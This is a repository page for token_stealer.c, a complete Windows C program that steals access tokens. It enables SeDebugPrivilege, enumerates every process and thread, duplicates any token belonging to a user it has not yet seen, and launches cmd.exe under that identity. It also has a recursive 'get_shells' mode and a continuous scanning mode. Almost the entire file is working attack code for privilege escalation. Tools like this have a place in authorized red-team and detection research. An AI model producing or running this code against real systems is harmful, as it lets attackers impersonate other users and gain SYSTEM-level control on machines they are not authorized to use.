-
Notifications
You must be signed in to change notification settings - Fork 8
/
token_stealer.c
411 lines (332 loc) · 11.1 KB
/
token_stealer.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
#include <Windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#define RUN_PROCESS L"C:\\WINDOWS\\system32\\cmd.exe"
#define SCAN_DELAY_MS 500
// gets the SeDebugPrivilege
BOOL PrivilegeEnableSeDebug() {
BOOL bRet = FALSE;
HANDLE hToken = NULL;
LUID luid = { 0 };
TOKEN_PRIVILEGES tokenPriv = { 0 };
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
return FALSE;
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
return FALSE;
tokenPriv.PrivilegeCount = 1;
tokenPriv.Privileges[0].Luid = luid;
tokenPriv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPriv, sizeof(TOKEN_PRIVILEGES), NULL, NULL))
return FALSE;
return bRet;
}
// redefinition of Windows structs
typedef struct _SID_IDENTIFIER_AUTHORITY_X
{
UCHAR Value[6];
} SID_IDENTIFIER_AUTHORITY_X, *PSID_IDENTIFIER_AUTHORITY_X;
typedef struct _SID_X {
UCHAR Revision;
UCHAR SubAuthorityCount;
SID_IDENTIFIER_AUTHORITY_X IdentifierAuthority;
ULONG SubAuthority[1]; // count is SubAuthorityCount
}SID_X, *PSID_X;
typedef struct _TOKEN_USER_X {
PSID_X Sid;
DWORD Attributes;
}TOKEN_USER_X, *PTOKEN_USER_X;
typedef struct _KNOWN_SID {
PVOID Flink;
ULONG UserTokenSidSize;
TOKEN_USER_X UserToken;
}KNOWN_SID, *PKNOWN_SID;
#define SID_DEFAULT_ALLOC_SIZE 0x200
PKNOWN_SID gKnownSids = NULL;
// initiates the known list with the current process SID
BOOL KnownSidsInitList()
{
HANDLE hToken;
ULONG dwSize;
PTOKEN_USER sidData;
if (gKnownSids != NULL)
return TRUE;
RevertToSelf();
gKnownSids = (PKNOWN_SID)malloc(sizeof(KNOWN_SID));
sidData = (PTOKEN_USER)malloc(sizeof(SID_DEFAULT_ALLOC_SIZE));
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken)) {
printf("OpenProcessToken failed : %x\n", GetLastError());
return FALSE;
}
if (!GetTokenInformation(hToken, TokenUser, sidData, SID_DEFAULT_ALLOC_SIZE, &dwSize)){
printf("GetTokenInformation failed : %x\n", GetLastError());
return FALSE;
}
gKnownSids->Flink = NULL;
gKnownSids->UserToken.Sid = (PSID_X)sidData->User.Sid;
gKnownSids->UserToken.Attributes = sidData->User.Attributes;
gKnownSids->UserTokenSidSize = sizeof(SID) + sizeof(ULONG) * (gKnownSids->UserToken.Sid->SubAuthorityCount - 1);
printf("Startup user token sid start : S-1-%d-%d\n",
gKnownSids->UserToken.Sid->IdentifierAuthority.Value[5],
gKnownSids->UserToken.Sid->SubAuthority[0]);
CloseHandle(hToken);
return TRUE;
}
// walks the known list
BOOLEAN KnownSidsSearchSid(PTOKEN_USER UserToken, ULONG UserTokenSize) {
ULONG CurrentSidSize = 0;
PKNOWN_SID TokenSeenPtr = NULL;
if (UserTokenSize == 0)
return TRUE;
CurrentSidSize = sizeof(SID) + sizeof(ULONG) * (((PSID_X)(UserToken->User.Sid))->SubAuthorityCount - 1);
TokenSeenPtr = gKnownSids;
while (TokenSeenPtr != NULL) {
if (CurrentSidSize == TokenSeenPtr->UserTokenSidSize) {
if (memcmp(TokenSeenPtr->UserToken.Sid, UserToken->User.Sid, CurrentSidSize) == 0)
return TRUE;
}
TokenSeenPtr = (PKNOWN_SID)TokenSeenPtr->Flink;
}
return FALSE;
}
// adds the SID in the known list
void KnownSidsAddSid(PTOKEN_USER UserToken, ULONG UserTokenSize) {
ULONG CurrentSidSize = 0;
PKNOWN_SID TokenTmp = NULL;
PKNOWN_SID TokenSeenPtr = NULL;
PBYTE sidData;
CurrentSidSize = sizeof(SID) + sizeof(ULONG) * (((PSID_X)(UserToken->User.Sid))->SubAuthorityCount - 1);
sidData = (PBYTE)malloc(CurrentSidSize);
memcpy(sidData, UserToken->User.Sid, CurrentSidSize);
TokenTmp = (PKNOWN_SID)malloc(sizeof(KNOWN_SID));
TokenTmp->UserTokenSidSize = CurrentSidSize;
TokenTmp->UserToken.Attributes = UserToken->User.Attributes;
TokenTmp->UserToken.Sid = (PSID_X)sidData;
TokenTmp->Flink = gKnownSids;
gKnownSids = TokenTmp;
}
// try to impersonate the thread token and runs the process if successful
BOOLEAN ThreadImpersonateAndRunExe(ULONG ThreadId) {
HANDLE hThread, hToken;
HANDLE DuplicatedToken;
STARTUPINFOW si = { 0 };
PROCESS_INFORMATION pi = { 0 };
UCHAR tokenData[SID_DEFAULT_ALLOC_SIZE];
ULONG dwSize = 0;
hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, ThreadId);
if (hThread == NULL)
hThread = OpenThread(THREAD_QUERY_INFORMATION | THREAD_IMPERSONATE | THREAD_DIRECT_IMPERSONATION, FALSE, ThreadId);
if (hThread == NULL)
hThread = OpenThread(THREAD_IMPERSONATE | THREAD_DIRECT_IMPERSONATION, FALSE, ThreadId);
if (hThread == NULL)
hThread = OpenThread(THREAD_QUERY_INFORMATION | THREAD_IMPERSONATE, FALSE, ThreadId);
if (hThread == NULL)
hThread = OpenThread(THREAD_QUERY_INFORMATION | THREAD_DIRECT_IMPERSONATION, FALSE, ThreadId);
if (hThread == NULL)
return FALSE;
if (!OpenThreadToken(hThread, TOKEN_IMPERSONATE | TOKEN_DUPLICATE | TOKEN_QUERY, FALSE, &hToken))
if (!OpenThreadToken(hThread, TOKEN_IMPERSONATE | TOKEN_DUPLICATE | TOKEN_QUERY, TRUE, &hToken)) {
if (GetLastError() != ERROR_NO_TOKEN) {
//printf("OpenThreadToken failed : %x\n", GetLastError());
}
CloseHandle(hThread);
return FALSE;
}
if (!GetTokenInformation(hToken, TokenUser, tokenData, SID_DEFAULT_ALLOC_SIZE, &dwSize)){
printf("GetTokenInformation failed : %x\n", GetLastError());
CloseHandle(hToken);
CloseHandle(hThread);
return FALSE;
}
if (KnownSidsSearchSid((PTOKEN_USER)tokenData, dwSize) == TRUE) {
CloseHandle(hToken);
CloseHandle(hThread);
return FALSE;
}
if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenImpersonation, &DuplicatedToken)) {
printf("DuplicateTokenEx failed : %x\n", GetLastError());
CloseHandle(hToken);
CloseHandle(hThread);
return FALSE;
}
if (!SetThreadToken(&hThread, DuplicatedToken)) {
printf("SetThreadToken failed : %x\n", GetLastError());
CloseHandle(hToken);
CloseHandle(hThread);
return FALSE;
}
si.cb = sizeof(si);
if (CreateProcessWithTokenW(DuplicatedToken,
LOGON_NETCREDENTIALS_ONLY,
RUN_PROCESS,
NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi) == FALSE) {
printf("CreateProcessWithTokenW failed : %x\n", GetLastError());
CloseHandle(hToken);
CloseHandle(hThread);
return FALSE;
}
KnownSidsAddSid((PTOKEN_USER)tokenData, dwSize);
CloseHandle(hToken);
CloseHandle(hThread);
return TRUE;
}
// opens the process primary token, impersonate it and run the process
BOOL ProcessImpersonateAndRunExe(int pid)
{
HANDLE hProcess;
HANDLE hToken;
HANDLE hThread = GetCurrentThread();
UCHAR tokenData[SID_DEFAULT_ALLOC_SIZE];
HANDLE DuplicatedToken;
STARTUPINFOW si = { 0 };
ULONG dwSize;
PROCESS_INFORMATION pi = { 0 };
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, pid);
if (hProcess == NULL){
// printf("OpenProcess failed : %x\n", GetLastError());
CloseHandle(hThread);
return FALSE;
}
if (!OpenProcessToken(hProcess, TOKEN_IMPERSONATE | TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) {
//printf("OpenProcessToken failed : %x\n", GetLastError());
CloseHandle(hProcess);
CloseHandle(hThread);
return FALSE;
}
if (!GetTokenInformation(hToken, TokenUser, tokenData, SID_DEFAULT_ALLOC_SIZE, &dwSize)){
printf("GetTokenInformation failed : %x\n", GetLastError());
CloseHandle(hToken);
CloseHandle(hProcess);
CloseHandle(hThread);
return FALSE;
}
if (KnownSidsSearchSid((PTOKEN_USER)tokenData, dwSize) == TRUE) {
CloseHandle(hToken);
CloseHandle(hProcess);
CloseHandle(hThread);
return FALSE;
}
if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenImpersonation, &DuplicatedToken)) {
printf("DuplicateTokenEx failed : %x\n", GetLastError());
CloseHandle(hToken);
CloseHandle(hProcess);
CloseHandle(hThread);
return FALSE;
}
if (!SetThreadToken(&hThread, DuplicatedToken)) {
printf("SetThreadToken failed : %x\n", GetLastError());
CloseHandle(hToken);
CloseHandle(hProcess);
CloseHandle(hThread);
return FALSE;
}
si.cb = sizeof(si);
if (CreateProcessWithTokenW(DuplicatedToken,
LOGON_NETCREDENTIALS_ONLY,
RUN_PROCESS,
NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi) == FALSE) {
printf("CreateProcessWithTokenW failed : %x\n", GetLastError());
CloseHandle(hToken);
CloseHandle(hProcess);
CloseHandle(hThread);
return FALSE;
}
KnownSidsAddSid((PTOKEN_USER)tokenData, dwSize);
CloseHandle(hToken);
CloseHandle(hProcess);
CloseHandle(hThread);
return TRUE;
}
// list processes and try token impersonation on any of them
BOOLEAN ScanLocalProcesses() {
HANDLE hSnapThread = NULL;
PROCESSENTRY32W th32data = { 0 };
BOOLEAN success = FALSE;
th32data.dwSize = sizeof(th32data);
if (!KnownSidsInitList()) {
printf("KnownSidsInitList failed\n");
return success;
}
hSnapThread = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapThread == INVALID_HANDLE_VALUE) {
printf("CreateToolhelp32Snapshot failed : %x\n", GetLastError());
return success;
}
if (!Process32First(hSnapThread, &th32data)) {
printf("Thread32First failed : %x\n", GetLastError());
return success;
}
do {
if (ProcessImpersonateAndRunExe(th32data.th32ProcessID) == TRUE) {
success = TRUE;
printf("SUCCESS :: PROCESS :: %d\n", th32data.th32ProcessID);
}
} while (Process32Next(hSnapThread, &th32data));
CloseHandle(hSnapThread);
return success;
}
// list threads and try token impersonation on any of them
BOOLEAN ScanLocalThreads() {
HANDLE hSnapThread = NULL;
THREADENTRY32 th32data = { 0 };
BOOLEAN success = FALSE;
th32data.dwSize = sizeof(th32data);
if (!KnownSidsInitList()) {
printf("KnownSidsInitList failed\n");
return success;
}
hSnapThread = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hSnapThread == INVALID_HANDLE_VALUE) {
printf("CreateToolhelp32Snapshot failed : %x\n", GetLastError());
return success;
}
if (!Thread32First(hSnapThread, &th32data)) {
printf("Thread32First failed : %x\n", GetLastError());
return success;
}
do {
if (ThreadImpersonateAndRunExe(th32data.th32ThreadID) == TRUE) {
printf("SUCCESS :: THREAD :: PID %d / TID %d\n", th32data.th32OwnerProcessID, th32data.th32ThreadID);
success = TRUE;
}
} while (Thread32Next(hSnapThread, &th32data));
CloseHandle(hSnapThread);
return success;
}
int main(int argc, char** argv) {
BOOLEAN success = FALSE;
if (argc == 1) {
printf("Usage : %s <system process PID> / getsystem / scan\n"
"<system process PID> : try on PID process only\n"
"get_shells : try getting as user shells as we can (recursive in order to gain more privileges)\n"
"scan : continuous scan\n", argv[0]);
return 0;
}
if (!_stricmp(argv[1], "get_shells")) {
KnownSidsInitList();
// there is no RevertToSelf call : new tokens may help obtaining other ones !
do {
PrivilegeEnableSeDebug();
success = ScanLocalProcesses();
if (ScanLocalThreads() == TRUE)
success = TRUE;
} while (success == TRUE);
return 0;
}
if (!_stricmp(argv[1], "scan")) {
KnownSidsInitList();
// in this mode, we'll just continuously scan for new tokens
while (1 == 1) {
ScanLocalProcesses();
ScanLocalThreads();
Sleep(SCAN_DELAY_MS);
}
return 0;
}
printf("Getting SeDebug privilege...\n");
if (PrivilegeEnableSeDebug() == FALSE)
printf("/!\\ PrivilegeEnableSeDebug failed with %x\n", GetLastError());
printf("Trying process %d\n", atoi(argv[1]));
if (ProcessImpersonateAndRunExe(atoi(argv[1])) == FALSE)
printf("/!\\ ProcessImpersonateAndRunExe failed!\n");
return 0;
}